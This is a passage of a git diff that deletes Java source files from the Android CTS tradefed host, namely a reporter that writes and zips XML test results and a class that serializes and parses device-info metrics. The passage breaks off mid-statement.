-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Writes results to an XML files in the CTS format.
- * <p/>
- * Collects all test info in memory, then dumps to file when invocation is complete.
- * <p/>
- * Outputs xml in format governed by the cts_result.xsd
- */
-public class CtsXmlResultReporter
-        implements ITestInvocationListener, ITestSummaryListener, ILogSaverListener {
-
-    private static final String LOG_TAG = "CtsXmlResultReporter";
-    private static final String DEVICE_INFO = "DEVICE_INFO_";
-    private static final String DEVICE_INFO_EXT = ".deviceinfo.json";
-
-    public static final String CTS_RESULT_DIR = "cts-result-dir";
-    static final String TEST_RESULT_FILE_NAME = "testResult.xml";
-    static final String CTS_RESULT_FILE_VERSION = "4.4";
-    private static final String[] CTS_RESULT_RESOURCES = {"cts_result.xsl", "cts_result.css",
-        "logo.gif", "newrule-green.png"};
-
-    /** the XML namespace */
-    static final String ns = null;
-
-    static final String RESULT_TAG = "TestResult";
-    static final String PLAN_ATTR = "testPlan";
-    static final String STARTTIME_ATTR = "starttime";
-
-    @Option(name = "quiet-output", description = "Mute display of test results.")
-    private boolean mQuietOutput = false;
-
-    private static final String REPORT_DIR_NAME = "output-file-path";
-    @Option(name=REPORT_DIR_NAME, description="root file system path to directory to store xml " +
-            "test results and associated logs. If not specified, results will be stored at " +
-            "<cts root>/repository/results")
-    protected File mReportDir = null;
-
-    // listen in on the plan option provided to CtsTest
-    @Option(name = CtsTest.PLAN_OPTION, description = "the test plan to run.")
-    private String mPlanName = "NA";
-
-    // listen in on the continue-session option provided to CtsTest
-    @Option(name = CtsTest.CONTINUE_OPTION, description = "the test result session to continue.")
-    private Integer mContinueSessionId = null;
-
-    @Option(name = "result-server", description = "Server to publish test results.")
-    private String mResultServer;
-
-    @Option(name = "include-test-log-tags", description = "Include test log tags in XML report.")
-    private boolean mIncludeTestLogTags = false;
-
-    @Option(name = "use-log-saver", description = "Also saves generated result XML with log saver")
-    private boolean mUseLogSaver = false;
-
-    protected IBuildInfo mBuildInfo;
-    private String mStartTime;
-    private String mDeviceSerial;
-    private TestResults mResults = new TestResults();
-    private TestPackageResult mCurrentPkgResult = null;
-    private Test mCurrentTest = null;
-    private boolean mIsDeviceInfoRun = false;
-    private boolean mIsExtendedDeviceInfoRun = false;
-    private ResultReporter mReporter;
-    private File mLogDir;
-    private String mSuiteName;
-    private String mReferenceUrl;
-    private ILogSaver mLogSaver;
-
-    public void setReportDir(File reportDir) {
-        mReportDir = reportDir;
-    }
-
-    /** Set whether to include TestLog tags in the XML reports. */
-    public void setIncludeTestLogTags(boolean include) {
-        mIncludeTestLogTags = include;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
-        if (!(buildInfo instanceof IFolderBuildInfo)) {
-            throw new IllegalArgumentException("build info is not a IFolderBuildInfo");
-        }
-        IFolderBuildInfo ctsBuild = (IFolderBuildInfo)buildInfo;
-        CtsBuildHelper ctsBuildHelper = getBuildHelper(ctsBuild);
-        mDeviceSerial = buildInfo.getDeviceSerial() == null ? "unknown_device" :
-            buildInfo.getDeviceSerial();
-        if (mContinueSessionId != null) {
-            CLog.d("Continuing session %d", mContinueSessionId);
-            // reuse existing directory
-            TestResultRepo resultRepo = new TestResultRepo(ctsBuildHelper.getResultsDir());
-            mResults = resultRepo.getResult(mContinueSessionId);
-            if (mResults == null) {
-                throw new IllegalArgumentException(String.format("Could not find session %d",
-                        mContinueSessionId));
-            }
-            mPlanName = resultRepo.getSummaries().get(mContinueSessionId).getTestPlan();
-            mStartTime = resultRepo.getSummaries().get(mContinueSessionId).getStartTime();
-            mReportDir = resultRepo.getReportDir(mContinueSessionId);
-        } else {
-            if (mReportDir == null) {
-                mReportDir = ctsBuildHelper.getResultsDir();
-            }
-            mReportDir = createUniqueReportDir(mReportDir);
-
-            mStartTime = getTimestamp();
-            logResult("Created result dir %s", mReportDir.getName());
-        }
-        mSuiteName = ctsBuildHelper.getSuiteName();
-        mReporter = new ResultReporter(mResultServer, mSuiteName);
-
-        ctsBuild.addBuildAttribute(CTS_RESULT_DIR, mReportDir.getAbsolutePath());
-
-        // TODO: allow customization of log dir
-        // create a unique directory for saving logs, with same name as result dir
-        File rootLogDir = getBuildHelper(ctsBuild).getLogsDir();
-        mLogDir = new File(rootLogDir, mReportDir.getName());
-        mLogDir.mkdirs();
-    }
-
-    /**
-     * Create a unique directory for saving results.
-     * <p/>
-     * Currently using legacy CTS host convention of timestamp directory names. In case of
-     * collisions, will use {@link FileUtil} to generate unique file name.
-     * <p/>
-     * TODO: in future, consider using LogFileSaver to create build-specific directories
-     *
-     * @param parentDir the parent folder to create dir in
-     * @return the created directory
-     */
-    private static synchronized File createUniqueReportDir(File parentDir) {
-        // TODO: in future, consider using LogFileSaver to create build-specific directories
-
-        File reportDir = new File(parentDir, TimeUtil.getResultTimestamp());
-        if (reportDir.exists()) {
-            // directory with this timestamp exists already! Choose a unique, although uglier, name
-            try {
-                reportDir = FileUtil.createTempDir(TimeUtil.getResultTimestamp() + "_", parentDir);
-            } catch (IOException e) {
-                CLog.e(e);
-                CLog.e("Failed to create result directory %s", reportDir.getAbsolutePath());
-            }
-        } else {
-            if (!reportDir.mkdirs()) {
-                // TODO: consider throwing an exception
-                CLog.e("mkdirs failed when attempting to create result directory %s",
-                        reportDir.getAbsolutePath());
-            }
-        }
-        return reportDir;
-    }
-
-    /**
-     * Helper method to retrieve the {@link CtsBuildHelper}.
-     * @param ctsBuild
-     */
-    CtsBuildHelper getBuildHelper(IFolderBuildInfo ctsBuild) {
-        CtsBuildHelper buildHelper = new CtsBuildHelper(ctsBuild.getRootDir());
-        try {
-            buildHelper.validateStructure();
-        } catch (FileNotFoundException e) {
-            // just log an error - it might be expected if we failed to retrieve a build
-            CLog.e("Invalid CTS build %s", ctsBuild.getRootDir());
-        }
-        return buildHelper;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testLog(String dataName, LogDataType dataType, InputStreamSource dataStream) {
-        try {
-            File logFile = getLogFileSaver().saveAndZipLogData(dataName, dataType,
-                    dataStream.createInputStream());
-            logResult(String.format("Saved log %s", logFile.getName()));
-        } catch (IOException e) {
-            CLog.e("Failed to write log for %s", dataName);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testLogSaved(String dataName, LogDataType dataType, InputStreamSource dataStream,
-            LogFile logFile) {
-        CLog.i("Got log for %s %s %s", dataName, dataType, logFile.getUrl());
-        if (mIncludeTestLogTags && mCurrentTest != null) {
-            TestLog log = TestLog.fromDataName(dataName, logFile.getUrl());
-            if (log != null) {
-                mCurrentTest.addTestLog(log);
-            }
-        }
-    }
-
-    /**
-     * Return the {@link LogFileSaver} to use.
-     * <p/>
-     * Exposed for unit testing.
-     */
-    LogFileSaver getLogFileSaver() {
-        return new LogFileSaver(mLogDir);
-    }
-
-    @Override
-    public void setLogSaver(ILogSaver logSaver) {
-        mLogSaver = logSaver;
-    }
-
-    @Override
-    public void testRunStarted(String id, int numTests) {
-        mIsDeviceInfoRun = DeviceInfoCollector.IDS.contains(id);
-        mIsExtendedDeviceInfoRun = DeviceInfoCollector.EXTENDED_IDS.contains(id);
-        if (!mIsDeviceInfoRun && !mIsExtendedDeviceInfoRun) {
-            mCurrentPkgResult = mResults.getOrCreatePackage(id);
-            mCurrentPkgResult.setDeviceSerial(mDeviceSerial);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testStarted(TestIdentifier test) {
-        if (!mIsDeviceInfoRun && !mIsExtendedDeviceInfoRun) {
-            mCurrentTest = mCurrentPkgResult.insertTest(test);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testFailed(TestIdentifier test, String trace) {
-        if (!mIsDeviceInfoRun && !mIsExtendedDeviceInfoRun) {
-            mCurrentPkgResult.reportTestFailure(test, CtsTestStatus.FAIL, trace);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testAssumptionFailure(TestIdentifier test, String trace) {
-        // TODO: do something different here?
-        if (!mIsDeviceInfoRun && !mIsExtendedDeviceInfoRun) {
-            mCurrentPkgResult.reportTestFailure(test, CtsTestStatus.FAIL, trace);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testIgnored(TestIdentifier test) {
-        // TODO: ??
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testEnded(TestIdentifier test, Map<String, String> testMetrics) {
-        if (!mIsDeviceInfoRun && !mIsExtendedDeviceInfoRun) {
-            mCurrentPkgResult.reportTestEnded(test, testMetrics);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunEnded(long elapsedTime, Map<String, String> runMetrics) {
-        if (mIsDeviceInfoRun) {
-            mResults.populateDeviceInfoMetrics(runMetrics);
-        } else if (mIsExtendedDeviceInfoRun) {
-            checkExtendedDeviceInfoMetrics(runMetrics);
-        } else {
-            mCurrentPkgResult.populateMetrics(runMetrics);
-        }
-    }
-
-    private void checkExtendedDeviceInfoMetrics(Map<String, String> runMetrics) {
-        for (Map.Entry<String, String> metricEntry : runMetrics.entrySet()) {
-            String key = metricEntry.getKey();
-            String value = metricEntry.getValue();
-            if (!key.startsWith(DEVICE_INFO) && !value.endsWith(DEVICE_INFO_EXT)) {
-                CLog.e(String.format("%s failed: %s", key, value));
-            }
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationEnded(long elapsedTime) {
-        if (mReportDir == null || mStartTime == null) {
-            // invocationStarted must have failed, abort
-            CLog.w("Unable to create XML report");
-            return;
-        }
-
-        File reportFile = getResultFile(mReportDir);
-        createXmlResult(reportFile, mStartTime, elapsedTime);
-        if (mUseLogSaver) {
-            FileInputStream fis = null;
-            try {
-                fis = new FileInputStream(reportFile);
-                mLogSaver.saveLogData("cts-result", LogDataType.XML, fis);
-            } catch (IOException ioe) {
-                CLog.e("error saving XML with log saver");
-                CLog.e(ioe);
-            } finally {
-                StreamUtil.close(fis);
-            }
-        }
-        copyFormattingFiles(mReportDir);
-        zipResults(mReportDir);
-
-        try {
-            mReporter.reportResult(reportFile, mReferenceUrl);
-        } catch (IOException e) {
-            CLog.e(e);
-        }
-    }
-
-    private void logResult(String format, Object... args) {
-        if (mQuietOutput) {
-            CLog.i(format, args);
-        } else {
-            Log.logAndDisplay(LogLevel.INFO, mDeviceSerial, String.format(format, args));
-        }
-    }
-
-    /**
-     * Creates a report file and populates it with the report data from the completed tests.
-     */
-    private void createXmlResult(File reportFile, String startTimestamp, long elapsedTime) {
-        String endTime = getTimestamp();
-        OutputStream stream = null;
-        try {
-            stream = createOutputResultStream(reportFile);
-            KXmlSerializer serializer = new KXmlSerializer();
-            serializer.setOutput(stream, "UTF-8");
-            serializer.startDocument("UTF-8", false);
-            serializer.setFeature(
-                    "http://xmlpull.org/v1/doc/features.html#indent-output", true);
-            serializer.processingInstruction("xml-stylesheet type=\"text/xsl\"  " +
-                    "href=\"cts_result.xsl\"");
-            serializeResultsDoc(serializer, startTimestamp, endTime);
-            serializer.endDocument();
-            String msg = String.format("XML test result file generated at %s. Passed %d, " +
-                    "Failed %d, Not Executed %d", mReportDir.getName(),
-                    mResults.countTests(CtsTestStatus.PASS),
-                    mResults.countTests(CtsTestStatus.FAIL),
-                    mResults.countTests(CtsTestStatus.NOT_EXECUTED));
-            logResult(msg);
-            logResult("Time: %s", TimeUtil.formatElapsedTime(elapsedTime));
-        } catch (IOException e) {
-            Log.e(LOG_TAG, "Failed to generate report data");
-        } finally {
-            StreamUtil.close(stream);
-        }
-    }
-
-    /**
-     * Output the results XML.
-     *
-     * @param serializer the {@link KXmlSerializer} to use
-     * @param startTime the user-friendly starting time of the test invocation
-     * @param endTime the user-friendly ending time of the test invocation
-     * @throws IOException
-     */
-    private void serializeResultsDoc(KXmlSerializer serializer, String startTime, String endTime)
-            throws IOException {
-        serializer.startTag(ns, RESULT_TAG);
-        serializer.attribute(ns, PLAN_ATTR, mPlanName);
-        serializer.attribute(ns, STARTTIME_ATTR, startTime);
-        serializer.attribute(ns, "endtime", endTime);
-        serializer.attribute(ns, "version", CTS_RESULT_FILE_VERSION);
-        serializer.attribute(ns, "suite", mSuiteName);
-        if (mReferenceUrl != null) {
-            serializer.attribute(ns, "referenceUrl", mReferenceUrl);
-        }
-        mResults.serialize(serializer, mBuildInfo.getBuildId());
-        // TODO: not sure why, but the serializer doesn't like this statement
-        //serializer.endTag(ns, RESULT_TAG);
-    }
-
-    private File getResultFile(File reportDir) {
-        return new File(reportDir, TEST_RESULT_FILE_NAME);
-    }
-
-    /**
-     * Creates the output stream to use for test results. Exposed for mocking.
-     */
-    OutputStream createOutputResultStream(File reportFile) throws IOException {
-        logResult("Created xml report file at file://%s", reportFile.getAbsolutePath());
-        return new FileOutputStream(reportFile);
-    }
-
-    /**
-     * Copy the xml formatting files stored in this jar to the results directory
-     *
-     * @param resultsDir
-     */
-    private void copyFormattingFiles(File resultsDir) {
-        for (String resultFileName : CTS_RESULT_RESOURCES) {
-            InputStream configStream = getClass().getResourceAsStream(String.format("/report/%s",
-                    resultFileName));
-            if (configStream != null) {
-                File resultFile = new File(resultsDir, resultFileName);
-                try {
-                    FileUtil.writeToFile(configStream, resultFile);
-                } catch (IOException e) {
-                    Log.w(LOG_TAG, String.format("Failed to write %s to file", resultFileName));
-                }
-            } else {
-                Log.w(LOG_TAG, String.format("Failed to load %s from jar", resultFileName));
-            }
-        }
-    }
-
-    /**
-     * Zip the contents of the given results directory.
-     *
-     * @param resultsDir
-     */
-    private void zipResults(File resultsDir) {
-        try {
-            // create a file in parent directory, with same name as resultsDir
-            File zipResultFile = new File(resultsDir.getParent(), String.format("%s.zip",
-                    resultsDir.getName()));
-            FileUtil.createZip(resultsDir, zipResultFile);
-        } catch (IOException e) {
-            Log.w(LOG_TAG, String.format("Failed to create zip for %s", resultsDir.getName()));
-        }
-    }
-
-    /**
-     * Get a String version of the current time.
-     * <p/>
-     * Exposed so unit tests can mock.
-     */
-    String getTimestamp() {
-        return TimeUtil.getTimestamp();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunFailed(String errorMessage) {
-        // ignore
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunStopped(long elapsedTime) {
-        // ignore
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationFailed(Throwable cause) {
-        // ignore
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public TestSummary getSummary() {
-        return null;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-     @Override
-     public void putSummary(List<TestSummary> summaries) {
-         // By convention, only store the first summary that we see as the summary URL.
-         if (summaries.isEmpty()) {
-             return;
-         }
-
-         mReferenceUrl = summaries.get(0).getSummary().getString();
-     }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/DeviceInfoResult.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/DeviceInfoResult.java
deleted file mode 100644
index fb253e6..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/DeviceInfoResult.java
+++ /dev/null
@@ -1,429 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import android.tests.getinfo.DeviceInfoConstants;
-
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Data structure for the device info collected by CTS.
- * <p/>
- * Provides methods to serialize and deserialize from XML, as well as checks for consistency
- * when multiple devices are used to generate the report.
- */
-class DeviceInfoResult extends AbstractXmlPullParser {
-    static final String TAG = "DeviceInfo";
-    private static final String ns = CtsXmlResultReporter.ns;
-    static final String BUILD_TAG = "BuildInfo";
-    private static final String PHONE_TAG = "PhoneSubInfo";
-    private static final String SCREEN_TAG = "Screen";
-    private static final String MEMORY_TAG = "MemoryInfo";
-
-    private static final String FEATURE_INFO_TAG = "FeatureInfo";
-    private static final String FEATURE_TAG = "Feature";
-    private static final String FEATURE_ATTR_DELIM = ":";
-    private static final String FEATURE_DELIM = ";";
-
-    private static final String OPENGL_TEXTURE_FORMATS_INFO_TAG =
-            "OpenGLCompressedTextureFormatsInfo";
-    private static final String OPENGL_TEXTURE_FORMAT_TAG = "TextureFormat";
-    private static final String OPENGL_TEXTURE_FORMAT_DELIM = ";";
-
-    private static final String OPENGL_EXTENSIONS_TAG = "OpenGlExtensions";
-    private static final String OPENGL_EXTENSION_TAG = "OpenGlExtension";
-    private static final String OPENGL_EXTENSION_DELIM = ";";
-
-    private static final String SYSLIB_INFO_TAG = "SystemLibrariesInfo";
-    private static final String SYSLIB_TAG = "Library";
-    private static final String SYSLIB_DELIM = ";";
-
-    private static final String PROCESS_INFO_TAG = "ProcessInfo";
-    private static final String PROCESS_TAG = "Process";
-    private static final String PROCESS_DELIM = ";";
-    private static final String PROCESS_ATTR_DELIM = ":";
-
-    private Map<String, String> mMetrics = new HashMap<String, String>();
-
-    /**
-     * Serialize this object and all its contents to XML.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    public void serialize(KXmlSerializer serializer) throws IOException {
-        serializer.startTag(ns, TAG);
-
-        if (mMetrics.isEmpty()) {
-            // this might be expected, if device info collection was turned off
-            CLog.d("Could not find device info");
-            serializer.endTag(ns, TAG);
-            return;
-        }
-
-        // Extract metrics that need extra handling, and then dump the remainder into BuildInfo
-        Map<String, String> metricsCopy = new HashMap<String, String>(mMetrics);
-        serializer.startTag(ns, SCREEN_TAG);
-        serializer.attribute(ns, DeviceInfoConstants.RESOLUTION,
-                getMetric(metricsCopy, DeviceInfoConstants.RESOLUTION));
-        serializer.attribute(ns, DeviceInfoConstants.SCREEN_DENSITY,
-                getMetric(metricsCopy, DeviceInfoConstants.SCREEN_DENSITY));
-        serializer.attribute(ns, DeviceInfoConstants.SCREEN_DENSITY_BUCKET,
-                getMetric(metricsCopy, DeviceInfoConstants.SCREEN_DENSITY_BUCKET));
-        serializer.attribute(ns, DeviceInfoConstants.SCREEN_SIZE,
-                getMetric(metricsCopy, DeviceInfoConstants.SCREEN_SIZE));
-        serializer.attribute(ns, DeviceInfoConstants.SMALLEST_SCREEN_WIDTH_DP,
-                getMetric(metricsCopy, DeviceInfoConstants.SMALLEST_SCREEN_WIDTH_DP));
-        serializer.endTag(ns, SCREEN_TAG);
-
-        serializer.startTag(ns, PHONE_TAG);
-        serializer.attribute(ns, DeviceInfoConstants.PHONE_NUMBER,
-                getMetric(metricsCopy, DeviceInfoConstants.PHONE_NUMBER));
-        serializer.endTag(ns, PHONE_TAG);
-
-        serializer.startTag(ns, MEMORY_TAG);
-        serializer.attribute(ns, DeviceInfoConstants.IS_LOW_RAM_DEVICE,
-            getMetric(metricsCopy, DeviceInfoConstants.IS_LOW_RAM_DEVICE));
-        serializer.attribute(ns, DeviceInfoConstants.MEMORY_CLASS,
-            getMetric(metricsCopy, DeviceInfoConstants.MEMORY_CLASS));
-        serializer.attribute(ns, DeviceInfoConstants.LARGE_MEMORY_CLASS,
-            getMetric(metricsCopy, DeviceInfoConstants.LARGE_MEMORY_CLASS));
-        serializer.attribute(ns, DeviceInfoConstants.TOTAL_MEMORY,
-            getMetric(metricsCopy, DeviceInfoConstants.TOTAL_MEMORY));
-        serializer.endTag(ns, MEMORY_TAG);
-
-        String featureData = getMetric(metricsCopy, DeviceInfoConstants.FEATURES);
-        String processData = getMetric(metricsCopy, DeviceInfoConstants.PROCESSES);
-        String sysLibData = getMetric(metricsCopy, DeviceInfoConstants.SYS_LIBRARIES);
-        String textureData = getMetric(metricsCopy,
-                DeviceInfoConstants.OPEN_GL_COMPRESSED_TEXTURE_FORMATS);
-        String openGlExtensionData = getMetric(metricsCopy,
-                DeviceInfoConstants.OPEN_GL_EXTENSIONS);
-
-        // dump the remaining metrics without translation
-        serializer.startTag(ns, BUILD_TAG);
-        for (Map.Entry<String, String> metricEntry : metricsCopy.entrySet()) {
-            serializer.attribute(ns, metricEntry.getKey(), metricEntry.getValue());
-        }
-        serializer.endTag(ns, BUILD_TAG);
-
-        serializeFeatureInfo(serializer, featureData);
-        serializeProcessInfo(serializer, processData);
-        serializeSystemLibrariesInfo(serializer, sysLibData);
-        serializeOpenGLCompressedTextureFormatsInfo(serializer, textureData);
-        serializeOpenGLExtensions(serializer, openGlExtensionData);
-        // End
-        serializer.endTag(ns, TAG);
-    }
-
-    /**
-     * Fetch and remove given metric from hashmap.
-     *
-     * @return the metric value or empty string if it was not present in map.
-     */
-    private String getMetric(Map<String, String> metrics, String metricName ) {
-        String value = metrics.remove(metricName);
-        if (value == null) {
-            value = "";
-        }
-        return value;
-    }
-
-    private void serializeFeatureInfo(KXmlSerializer serializer, String featureData)
-            throws IOException {
-        serialize(serializer, FEATURE_INFO_TAG, FEATURE_TAG, FEATURE_DELIM, FEATURE_ATTR_DELIM,
-                featureData, "name", "type", "available");
-    }
-
-    private void serializeProcessInfo(KXmlSerializer serializer, String rootProcesses)
-            throws IOException {
-        serialize(serializer, PROCESS_INFO_TAG, PROCESS_TAG, PROCESS_DELIM, PROCESS_ATTR_DELIM,
-                rootProcesses, "name", "uid");
-    }
-
-    private void serializeOpenGLCompressedTextureFormatsInfo(KXmlSerializer serializer,
-            String formats) throws IOException {
-        serialize(serializer, OPENGL_TEXTURE_FORMATS_INFO_TAG, OPENGL_TEXTURE_FORMAT_TAG,
-                OPENGL_TEXTURE_FORMAT_DELIM, null, formats, "name");
-    }
-
-    private void serializeOpenGLExtensions(KXmlSerializer serializer, String extensions)
-            throws IOException {
-        serialize(serializer, OPENGL_EXTENSIONS_TAG, OPENGL_EXTENSION_TAG,
-                OPENGL_EXTENSION_DELIM, null, extensions, "name");
-    }
-
-    private void serializeSystemLibrariesInfo(KXmlSerializer serializer, String libs)
-            throws IOException {
-        serialize(serializer, SYSLIB_INFO_TAG, SYSLIB_TAG, SYSLIB_DELIM, null, libs, "name");
-    }
-
-    /**
-     * Serializes a XML structure where there is an outer tag with tags inside it.
-     *
-     * <pre>
-     *   Input: value1:value2;value3:value4
-     *
-     *   Output:
-     *   <OuterTag>
-     *     <SubTag attr1="value1" attr2="value2" />
-     *     <SubTag attr1="value3" attr2="value4" />
-     *   </OuterTag>
-     * </pre>
-     *
-     * @param serializer to do it
-     * @param tag would be "OuterTag"
-     * @param subTag would be "SubTag"
-     * @param delim would be ";"
-     * @param attrDelim would be ":" in the example but can be null if only one attrName given
-     * @param data would be "value1:value2;value3:value4"
-     * @param attrNames would be an array with "attr1", "attr2"
-     * @throws IOException if there is a problem
-     */
-    private void serialize(KXmlSerializer serializer, String tag, String subTag,
-            String delim, String attrDelim, String data, String... attrNames) throws IOException {
-        serializer.startTag(ns, tag);
-
-        if (data == null) {
-            data = "";
-        }
-
-        String[] values = data.split(delim);
-        for (String value : values) {
-            if (!value.isEmpty()) {
-                String[] attrValues = attrDelim != null ? value.split(attrDelim) : new String[] {value};
-                if (attrValues.length == attrNames.length) {
-                    serializer.startTag(ns, subTag);
-                    for (int i = 0; i < attrNames.length; i++) {
-                        serializer.attribute(ns, attrNames[i], attrValues[i]);
-                    }
-                    serializer.endTag(ns,  subTag);
-                }
-            }
-        }
-
-        serializer.endTag(ns, tag);
-    }
-
-    /**
-     * Populates this class with package result data parsed from XML.
-     *
-     * @param parser the {@link XmlPullParser}. Expected to be pointing at start
-     *            of a {@link #TAG}
-     */
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        if (!parser.getName().equals(TAG)) {
-            throw new XmlPullParserException(String.format(
-                    "invalid XML: Expected %s tag but received %s", TAG, parser.getName()));
-        }
-        int eventType = parser.getEventType();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG) {
-                if (parser.getName().equals(SCREEN_TAG) ||
-                        parser.getName().equals(PHONE_TAG) ||
-                        parser.getName().equals(BUILD_TAG)) {
-                    addMetricsFromAttributes(parser);
-                } else if (parser.getName().equals(FEATURE_INFO_TAG)) {
-                    mMetrics.put(DeviceInfoConstants.FEATURES, parseFeatures(parser));
-                } else if (parser.getName().equals(PROCESS_INFO_TAG)) {
-                    mMetrics.put(DeviceInfoConstants.PROCESSES, parseProcess(parser));
-                } else if (parser.getName().equals(SYSLIB_INFO_TAG)) {
-                    mMetrics.put(DeviceInfoConstants.SYS_LIBRARIES, parseSystemLibraries(parser));
-                } else if (parser.getName().equals(OPENGL_TEXTURE_FORMATS_INFO_TAG)) {
-                    mMetrics.put(DeviceInfoConstants.OPEN_GL_COMPRESSED_TEXTURE_FORMATS,
-                            parseOpenGLCompressedTextureFormats(parser));
-                }
-            } else if (eventType == XmlPullParser.END_TAG && parser.getName().equals(TAG)) {
-                return;
-            }
-            eventType = parser.next();
-        }
-    }
-
-    private String parseFeatures(XmlPullParser parser) throws XmlPullParserException, IOException {
-        return parseTag(parser, FEATURE_INFO_TAG, FEATURE_TAG, FEATURE_DELIM, FEATURE_ATTR_DELIM,
-                "name", "type", "available");
-    }
-
-    private String parseProcess(XmlPullParser parser) throws XmlPullParserException, IOException {
-        return parseTag(parser, PROCESS_INFO_TAG, PROCESS_TAG, PROCESS_DELIM,
-                PROCESS_ATTR_DELIM, "name", "uid");
-    }
-
-    private String parseOpenGLCompressedTextureFormats(XmlPullParser parser)
-            throws XmlPullParserException, IOException {
-        return parseTag(parser, OPENGL_TEXTURE_FORMATS_INFO_TAG, OPENGL_TEXTURE_FORMAT_TAG,
-                OPENGL_TEXTURE_FORMAT_DELIM, null, "name");
-    }
-
-    private String parseSystemLibraries(XmlPullParser parser)
-            throws XmlPullParserException, IOException {
-        return parseTag(parser, SYSLIB_INFO_TAG, SYSLIB_TAG, SYSLIB_DELIM, null, "name");
-    }
-
-    /**
-     * Converts XML into a flattened string.
-     *
-     * <pre>
-     *   Input:
-     *   <OuterTag>
-     *     <SubTag attr1="value1" attr2="value2" />
-     *     <SubTag attr1="value3" attr2="value4" />
-     *   </OuterTag>
-     *
-     *   Output: value1:value2;value3:value4
-     * </pre>
-     *
-     * @param parser that parses the xml
-     * @param tag like "OuterTag"
-     * @param subTag like "SubTag"
-     * @param delim like ";"
-     * @param attrDelim like ":" or null if tehre is only one attribute
-     * @param attrNames like "attr1", "attr2"
-     * @return flattened string like "value1:value2;value3:value4"
-     * @throws XmlPullParserException
-     * @throws IOException
-     */
-    private String parseTag(XmlPullParser parser, String tag, String subTag, String delim,
-            String attrDelim, String... attrNames) throws XmlPullParserException, IOException {
-        if (!parser.getName().equals(tag)) {
-            throw new XmlPullParserException(String.format(
-                    "invalid XML: Expected %s tag but received %s", tag,
-                    parser.getName()));
-        }
-        StringBuilder flattened = new StringBuilder();
-
-        for (int eventType = parser.getEventType();
-                eventType != XmlPullParser.END_DOCUMENT;
-                eventType = parser.next()) {
-
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(subTag)) {
-                for (int i = 0; i < attrNames.length; i++) {
-                    flattened.append(getAttribute(parser, attrNames[i]));
-                    if (i + 1 < attrNames.length) {
-                        flattened.append(attrDelim);
-                    }
-                }
-                flattened.append(delim);
-            } else if (eventType == XmlPullParser.END_TAG && parser.getName().equals(tag)) {
-                break;
-            }
-        }
-
-        return flattened.toString();
-    }
-
-    /**
-     * Adds all attributes from the current XML tag to metrics as name-value pairs
-     */
-    private void addMetricsFromAttributes(XmlPullParser parser) {
-        int attrCount = parser.getAttributeCount();
-        for (int i = 0; i < attrCount; i++) {
-            mMetrics.put(parser.getAttributeName(i), parser.getAttributeValue(i));
-        }
-    }
-
-    /**
-     * Populate the device info metrics with values collected from device.
-     * <p/>
-     * Check that the provided device info metrics are consistent with the currently stored metrics.
-     * If any inconsistencies occur, logs errors and stores error messages in the metrics map
-     */
-    public void populateMetrics(Map<String, String> metrics) {
-        if (mMetrics.isEmpty()) {
-            // no special processing needed, no existing metrics
-            mMetrics.putAll(metrics);
-            return;
-        }
-        Map<String, String> metricsCopy = new HashMap<String, String>(
-                metrics);
-        // add values for metrics that might be different across runs
-        combineMetrics(metricsCopy, DeviceInfoConstants.PHONE_NUMBER, DeviceInfoConstants.IMSI,
-                DeviceInfoConstants.IMSI, DeviceInfoConstants.SERIAL_NUMBER);
-
-        // ensure all the metrics we expect to be identical actually are
-        checkMetrics(metricsCopy, DeviceInfoConstants.BUILD_FINGERPRINT,
-                DeviceInfoConstants.BUILD_MODEL, DeviceInfoConstants.BUILD_BRAND,
-                DeviceInfoConstants.BUILD_MANUFACTURER, DeviceInfoConstants.BUILD_BOARD,
-                DeviceInfoConstants.BUILD_DEVICE, DeviceInfoConstants.PRODUCT_NAME,
-                DeviceInfoConstants.BUILD_ABI, DeviceInfoConstants.BUILD_ABI2,
-                DeviceInfoConstants.BUILD_ABIS, DeviceInfoConstants.BUILD_ABIS_32,
